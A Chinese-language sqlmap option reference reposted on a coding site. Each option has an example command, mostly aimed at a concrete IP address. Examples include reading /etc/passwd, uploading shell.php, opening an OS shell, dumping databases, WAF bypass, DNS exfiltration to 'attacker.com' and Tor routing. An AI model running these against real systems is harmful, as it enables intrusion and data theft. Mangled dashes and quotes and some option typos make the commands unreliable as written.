Sqlmap手册—史上最全

news2024/11/25 2:19:35

Sqlmap手册—史上最全

一.介绍

开源的SQL注入漏洞检测的工具，能够检测动态页面中的get/post参数，cookie，http头，还能够查看数据，文件系统访问，甚至能够操作系统命令执行。
检测方式：布尔盲注、时间盲注、报错注入、UNION联合查询注入、堆叠注入
支持数据库：Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb

二.基本参数

—update：更新
python sqlmap.py —update

-h：查看常用参数
python sqlmap.py -h

-hh：查看全部参数
python sqlmap.py -h

—version：查看版本
python sqlmap.py —version

-v：查看执行过程信息，默认是1，一共 0 ~ 6
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -v 3

-d ：mysql表示数据库类型、user:password表示目标服务器的账号和密码，@后表示要连接的服务器，3306表示端口，zakq_ dababasename表示连接的数据库名称
python sqlmap.py -d “mysql://root:root@192.168.126.128:3386/zkaq_databasename”

—wizard ：向导式
python sqlmap.py —wizard

三.确定目标

-u “URL” ：指定URL，get请求方式
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“

-m url.txt :：使用一个包含多个url的文件进行扫描。若有重复，sqlmap会自动识别成一个。
python sqlmap.py -m url.txt

在这里插入图片描述

-g ：扫描，使用Google语法得到的url。
python sqlmap.py -g “inurl:\”.php?id=1\”

-r request.txt ：Post提交方式，使用HTTP请求文件，该文件可从BurpSuit中导出。（BurpSuit抓包—>将请求复制到txt中即可）
python sqlmap.py -r request.txt

在这里插入图片描述

-l log.txt —scope=”正则表达式” ：Post提交方式，使用BurpSuit的log文件。（Options—>Misc—>Logging—>Proxy—>勾选Request ，scope的作用是 基于正则表达式去过滤日志内容，筛选需要扫描的对象。
python sqlmap.py -l log.txt —scope=”(www)?.target.(com|net|arg)”

在这里插入图片描述

-c sqlmap.conf ：使用配置文件进行扫描 (sqlmap.conf与sqlmap.py 在同一目录)
python sqlmap.py -c sqlmap.conf

-u “URL” ：对于这种写法，加号扫描
python sqlmap.py -u “http://target_url/param1/value1/param2/value2“

四.配置目标参数

-p ：指定要扫描的参数
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ -p “username,id”

—skip：排除指定的扫描参数
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —skip “username,id”

—data：指定扫描的参数，get/post都适用
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin&password=123”

—param-del：改变分隔符，默认是&，因为有些网站不实用&传递多个数据。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin;password=123” —param-del=”;”

—cookie ：使用cookie的身份认证
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —cookie=”security=low;PHPSESSID=121123131”

—drop-set-cookie：有时候发起请求后，服务器端会重新Set-cookie给客户端，SQLmap默认会使用新的cookie，这时候可以设置此参数，表示还是用原来的cookie。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —cookie=”security=low;PHPSESSID=121123131 —-drop-set-cookie”

—user-agent ：使用浏览器代理头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —user-agent=”aaaaaaaaa”

—random-agent：使用随机的浏览器代理头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —random-agent

—host ：指定主机头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —host=”aaaaa”

—referer=”aaaaaa” ：指定referer头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —referer=”aaaaaa”

—headers ：有些网站需要特定的头来身份验证
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —headers=”host:aaaa\nUser-Agent:bbbb”

—method ：指定请求方式，还有POST
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —method=GET

—auth-type ， —auth-cred：身份认证，还有Digest、NTLM
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —auth-type Basic —auth-cred “user:pass”

—auth-file=”ca.PEM” ：使用私钥证书去进行身份认证，还有个参数—auth-cert，暂时不知道怎么用，没遇到过
—proxy ：使用代理去扫描目标，代理软件占用的端口在8080
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —proxy=”http://127.0.0.1:8080/“

—proxy-cred：使用代理时的账号和密码
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —proxy=”http://127.0.0.1:8080/“ —proxy-cred=”name:pass”

—ignore-proxy ：忽略系统级代理设置，通常用于扫描本地网络目标，本网段。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —ignore-proxy

五.配置目标行为

—force-ssl：使用HTTPS连接进行扫描
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —force-ssl

—delay：每次http请求之间的延迟时间，默认无延迟
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —delay=”3”

—timeout：请求超时时间，浮点数，默认为30秒
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —timeout=”10”

—retries：http连接的重试次数，默认3次
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —retries=”1”

—randomize：长度、类型与原始值保持一致的情况下,随机参数的取值。比如id=100 -> id=1??
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —randomize=”id”

—safe-url：检测盲注阶段时，sqlmap会发送大量失败请求，可能导致服务器端销毁session
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —safe-url=”URL”

—safe-freq ：每发送多少次注入请求后，发送一次正常请求，配合—safe-url使用。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —safe-freq

—time-sec：基于时间的注入检测相应延迟时间，默认5秒
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —time-sec=”3”

—union-cols ：默认联合查询1-10列，随—level增加，最多支持100列。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —union-cols 6-9

—union-char：联合查询默认使用null，极端情况下可能失败，此时可以手动执行数值
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —union-char 123

—technique US ：指定检测注入时所用技术，默认情况下Sqlmap会使用自己支持的全部技术进行检测，有B、E、U、S、T、Q
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —technique US

六.优化探测过程

—level 2：检测cookie中是否含有注入、3：检测user-agent、referer是否含有注入、5：检测host是否含有注入
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —level 3

—risk 默认1，最高4，等级高容易造成数据被篡改风险
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —risk 3
—predict-output ：优化检测方法，不断比对大数据，缩小检测范围，提高效率，与—threads参数不兼容
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —predict-output

—keep-alive ：长连接、性能好，避免重复建立的网络开销，但大量长连接会占用服务器资源。与—proxy参数不兼容
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —keep-alive

—null-connection ：只获取页面大小的值，通常用于盲注判断真假，与—text-only 不兼容
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —null-connection

-o ：直接开启以上三个(—predict-output、—keep-alive、—null-connection)
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -o

—threads=7 ：提高并发线程，默认为1，建议不要超过10，否则影响站点可用性，与—predict-out不兼容
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —threads=7

—string=”woaini” ：页面比较，用于基于布尔注入的检测，因为有时候页面随时间阈值变化，此时需要人为指定标识真假的字符串，除此之外，还有—not-string=”woaini”、—code=200、—titles=”Welcome”等等
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —string=”woaini”

七.特定目标环境

—skip-urlencode ：默认get传参会使用URL编码，但有些服务器没按规范，使用原始字符提交数据。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —skip-urlencode

—eval ：在提交前，对参数进行pyhton的处理，提升效率
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”

—dbms ：指定数据库类型，还可以加上版本 Mysql<5.0>
python sqlmap.py -u “http://59.63.200.79:8003/?id=1” —dbms=”Mysql”

—os ：指定操作系统，还可以是Linux
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —os=”Windows”

—invalid-bignum ：sqlmap默认使用负值让参数进行失效，该参数使用最大值让参数失效，比如 id=9999999
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —invalid-bignum

—invalid-logical ：使用布尔值，比如 id 13 and 18=19
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —invalid-logical

—no-cast：将sqlmap取出的数据转换为字符串，并用空格替换NULL结果，在老版本时需要开启此开关。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —no-cast

—no-escape：为了逃逸服务器端对sqlmap的检测，默认使用char()编码替换字符串。本参数将关闭此功能。比如 select ‘foo’ —> select cahr(102) + char(111) + char(111)
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —no-escape

—prefix：添加前缀
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —prefix “‘)’”

—suffix ：添加后缀
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —suffix “AND (‘abc’=’abc”

—tamper：使用脚本，绕过IPS、WAF等
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —tamper=”tamper/between.py,tamper/randomcase.py”

—dns-domain：攻击者控制了DNS服务器，可以提高取出数据的效率
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dns-domain attacker.com

—second-order：在一个页面注入的结果，从另外一个页面提现出来
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —second-order “http://1.1.1.1/b.php“

八.查看基本信息

-f ：扫描时加入数据库指纹检测
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -f

-b ：查看数据库的版本信息
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -b

九.查看数据信息

—users ：查询所有的数据库账号
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —users

—dbs ：查询所有数据库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dbs

—schema ：查询源数据库（包含定义数据的数据）
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —schema

-a ：查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -a

-D dvwa：指定数据库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -D database_name

—current-user ：查询当前数据库用户
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —current-user

—current-db ：查询当前数据库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —current-db

—hostname ：查看服务器的主机名
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hostname

—Privileges -U username ：查询username的权限
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —Privileges -U username

—roles ：查询角色
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —roles

—tables ：查看所有的表
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —tables

-T ：指定表
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -T table_name

—columns ：查看所有的字段
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —columns

-C ：指定字段
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -C column_name

—count ：计数，查看有多少条数据
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —count

—exclude-sysdbs ：排除系统库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —exclude-sysdbs

—dump ：查看数据
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dump

—start 3 ：查看第三条
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —start 3

—end 4 ：查看第四条
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —end 4

—sql-query “select * from users” ：执行语句
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —sql-query “select * from users”

—common-columns ：暴力破解字段，应用于两种情况：①无权限读取数据。②mysql<5.0 ，没有infomation_schema库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —common-columns

—common-tables ：暴力破解表
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —common-tables

十.其他参数

—batch ：自动选是
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —batch

—charset：强制字符编码
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —charset=GBK

—crawl：爬站深度
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —crawl=3

—csv-del：指定csv文件的分隔符
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —csv-del=”;”

—flush-session ：清空session
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —flush-session

—force-ssl ：强制使用HTTPS
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —force-ssl

—fresh-queries ：重新检测，不使用本地已查询的数据
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —fresh-queries

—hex ：以16进制的形式编码dump出来的数据
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hex

—parse-errors ：分析和显示数据库内建报错信息
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —parse-errors

—answer ：回答
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —answer=”extending=N”

—check-waf ：检测WAF/IPS/IDS
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —check-waf

—hpp ：绕过WAF/IPS/IDS
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hpp

—identify-waf ：彻底检测WAF/IPS/IDS
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —identify-waf

—mobile ：模拟智能手机设备
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —mobile

—purge-output ：清除output文件夹
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —purge-output

—smart ：当有大量检测目标时，只选择基于错误的检测结果
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —smart

十一.高级注入参数

—file-read：文件系统访问
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —file-read=”/etc/passwd”

—file-write、—file-dest ：写文件到目标位置
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —file-write=”shell.php” —file-dest “/tmp/shell.php”

—sql-shell ：进入交互式mysql窗口
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —sql-shell

—os-shell ：进入命令行窗口
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —os-shell

使用Tor代理
sqlmap.py -u http://navisec.it/123.asp?id=1 —tor -tor-type=SOCKS5 —tor-port=9050 —check-tor

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/472226.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

css中的background属性

css中的background属性

文章目录 一&#xff1a;background-repeat二&#xff1a;background-position三&#xff1a;background缩写方式三&#xff1a;background-size四&#xff1a;background-origin五&#xff1a;background-clip 在日常前端开发中&#xff0c;经常需要进行背景或背景图的处理。但…
阅读更多...
国民技术N32G430开发笔记（10）- IAP升级 Application 的制作

国民技术N32G430开发笔记（10）- IAP升级 Application 的制作

IAP升级 Application 的制作 1、App程序跟Bootloader程序最大的区别就是&#xff0c; 程序的执行地址变成了之前flash设定的0x08006000处&#xff0c; 大小限制为20KB 所以修改Application工程的ld文件 origin 改成 0x08006000 length 改成0x5000 烧录是起始地址也要改为x0x…
阅读更多...
【chapter30】【PyTorch】[动量与学习率衰减】

【chapter30】【PyTorch】[动量与学习率衰减】

前言&#xff1a; SGD的不足&#xff1a; ①呈“之”字型&#xff0c;迂回前进&#xff0c;损失函数值在一些维度的改变得快&#xff08;更新速度快&#xff09;&#xff0c;在一些维度改变得慢&#xff08;速度慢&#xff09;- 在高维空间更加普遍 ②容易陷入局部极小值和鞍点…
阅读更多...
JVM性能调优监控工具jps、jstack、jmap、jhat、jstat

JVM性能调优监控工具jps、jstack、jmap、jhat、jstat

JDK本身提供了很多方便的JVM性能调优监控工具&#xff0c;除了集成式的VisualVM和jConsole外&#xff0c;还有jps、jstack、jmap、jhat、jstat等小巧的工具&#xff0c;本博客希望能起抛砖引玉之用&#xff0c;让大家能开始对JVM性能调优的常用工具有所了解。 现实企业级Java开…
阅读更多...
【数据架构系列-06】一文搞懂数据模型的3中类型——概念模型、逻辑模型、物理模型

【数据架构系列-06】一文搞懂数据模型的3中类型——概念模型、逻辑模型、物理模型

数据模型就是模拟现实世界的方法论&#xff0c;是通向智慧世界的基石&#xff01; 从现实世界发展到智慧世界&#xff0c;要数经历现实世界、信息世界、计算机世界、数据世界、智慧世界五个不同的世界&#xff0c;我们天生具有从混沌的世界抽象信息变为信息世界的能力&#xff…
阅读更多...
《统计学习方法》——EM算法及其推广(上)

《统计学习方法》——EM算法及其推广(上)

引言 EM算法是一种迭代算法&#xff0c;用于含有隐变量的概率模型参数的极大似然估计。 理解EM算法需要很多概率论的知识&#xff0c;所以下面先贴出所需要的知识。便于对后文的理解。 补充知识 期望 对于离散型随机变量 X X X的概率分布为 p i p { X x i } p_ip\{Xx_i\}…
阅读更多...
第八章 集合函数

第八章 集合函数

文章目录 前言一、聚合函数介绍1 、AVG (平均值) 和SUM &#xff08;求和&#xff09;函数2 、MIN&#xff08;最小值&#xff09;和MAX&#xff08;最大值&#xff09;函数3 、COUNT函数问题&#xff1a;用count(*)&#xff0c;count(1)&#xff0c;count(列名)谁好呢? 二、G…
阅读更多...
语义分割学习笔记（一）语义分割前言

语义分割学习笔记（一）语义分割前言

1.什么是语义分割&#xff1f; 语义分割(semantic segmentation) FCN要对分割对象进行一个大的划分&#xff0c;即分类。如下图&#xff0c;语义分割有树、人、草地大类别的划分。 实例分割(Instance segmentation) Mask R-CNN要对每一个分割类别中的每一个对象也要进行一个细…
阅读更多...
第五章——动态规划2

第五章——动态规划2

线性DP 数字三角形 像二维数组一样&#xff0c;设置行和列&#xff0c;只不过这里的列是斜着的&#xff0c;如圈出来的7&#xff0c;坐标可以表示为(4,2) 集合划分&#xff0c;所有路径可以分成俩类&#xff0c;某点左上方一类&#xff0c;右下方一类。 我们先把7去掉&#xff…
阅读更多...
利用层级式一致性加强进行半监督病理图像分割

利用层级式一致性加强进行半监督病理图像分割

文章目录 Semi-supervised Histological Image Segmentation via Hierarchical Consistency Enforcement摘要方法对学生模型进行有监督学习层级式一致性强化模块Hierarchical Consistency Loss (HC-Loss)以自我为导向的分层一致性损失 实验结果 Semi-supervised Histological I…
阅读更多...
MySQL基础概念和SQL

MySQL基础概念和SQL

目录 1.概念 1.1.什么是MySQL 1.2.关系型数据库、非关系型数据库 1.3.库、表、字段 2.数据类型 2.1.数值 2.2.字符串 2.3.日期/时间 3.结构化查询语言 3.1.DDL 3.2.DML 3.3.DCL 3.4.DQL 3.4.1.结果集 3.4.2.取别名 3.4.3.查列 3.4.4.条件查询 3.4.5.模糊查询…
阅读更多...
做BI财务数据分析，国产BI软件经验更足

做BI财务数据分析，国产BI软件经验更足

不管是为了提高销售额&#xff0c;还是为了提高库存周转、疏通现金流&#xff0c;都离不开数据分析&#xff0c;特别是BI大数据分析可视化。因此这几年来BI软件在各行各业的接受度迅速提升&#xff0c;特别是在财务数据分析方面&#xff0c;国产BI软件更是经验、技术到位。要说…
阅读更多...
【大数据之Hadoop】二十二、Yarn调度器和调度算法

【大数据之Hadoop】二十二、Yarn调度器和调度算法

Hadoop作业调度器主要有三种&#xff1a;FIFO、容量&#xff08;Capacity Scheduler&#xff09;和公平&#xff08;Fair Scheduler&#xff09;。 Apache Hadoop默认的资源调度器&#xff1a;容量调度器Capacity Scheduler。 CDH框架默认调度器是Fair Scheduler。 1 FIFO 单…
阅读更多...
智能电动自行车充电远程管理系统

智能电动自行车充电远程管理系统

目前市场上现有的户外普通充电桩只是一个用电计量工具&#xff0c;无法形成一个有效的停放充电管理环境。在受到雨、雪、风、暴晒等天气影响下根本无法使用,并且存在极大的安全隐患。同时公共无限的停放也导致充电位置被闲置车辆及杂物堆放占用&#xff0c;经常出现真正需要充电…
阅读更多...
前端面试题 —— CSS （二）

前端面试题 —— CSS （二）

目录 一、transition 和 animation 的区别 二、什么是物理像素&#xff0c;逻辑像素和像素密度&#xff0c;为什么在移动端开发时需要用到3x, 2x 这种图片&#xff1f; 三、margin 和 padding 的使用场景 四、CSS 优化和提高性能的方法有哪些&#xff1f; 五、display:in…
阅读更多...
大数据编程实验3 熟悉常用的HBase操作

大数据编程实验3 熟悉常用的HBase操作

实验:熟悉常用的HBase操作 1实验目的 理解HBase在Hadoop体系结构中的角色&#xff1b;熟练使用HBase操作常用的Shell命令&#xff1b; 2 实验平台 操作系统&#xff1a;Linux Hadoop版本&#xff1a;3.1.3 HBase版本&#xff1a;2.2.2 JDK版本&#xff1a;1.8 3 实验内容和…
阅读更多...
KDJB-702继保综合检测试验仪

KDJB-702继保综合检测试验仪

一、产品参数 交流电流输出 输出精度&#xff1a;≤0.5A 2mA &#xff1e;0.5A 0.2% 相电流输出&#xff08;有效值&#xff09;&#xff1a;0&#xff5e;30A 三并电流输出&#xff08;有效值&#xff09;&#xff1a;0&#xff5e;900A 相电流长时间允许工作值&#xff…
阅读更多...
java开发的chatGPT机器人系统

java开发的chatGPT机器人系统

ChatGPT机器人发展趋势&#xff1a; 更加个性化&#xff1a;随着数据和技术的不断进步&#xff0c;ChatGPT机器人将能够更加准确地理解用户的需求和偏好&#xff0c;并提供更加个性化的回复和服务。 多语言支持&#xff1a;随着ChatGPT在各个国家和地区的普及&#xff…
阅读更多...
uniapp（vue2）封装子组件

uniapp（vue2）封装子组件

创建子组件 在项目根目录下新建 components 目录&#xff0c;右键选择“新建组件”&#xff0c;创建子组件&#xff08;这里以 search.vue 举例&#xff09;并且为同名目录&#xff0c;即 components --> search --> search.vue&#xff0c;这样父组件可以直接使用&…
阅读更多...
C语言-学习之路-01

C语言-学习之路-01

C语言学习之路-01 目录关键字数据类型常量变量声明和定义进制sizeof关键字整型&#xff1a;intshort、int、long、long long字符型&#xff1a;charASCII对照表转义字符数值溢出实型&#xff08;浮点型&#xff09;&#xff1a;float、double类型限定符字符串格式化输出和输入 …
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023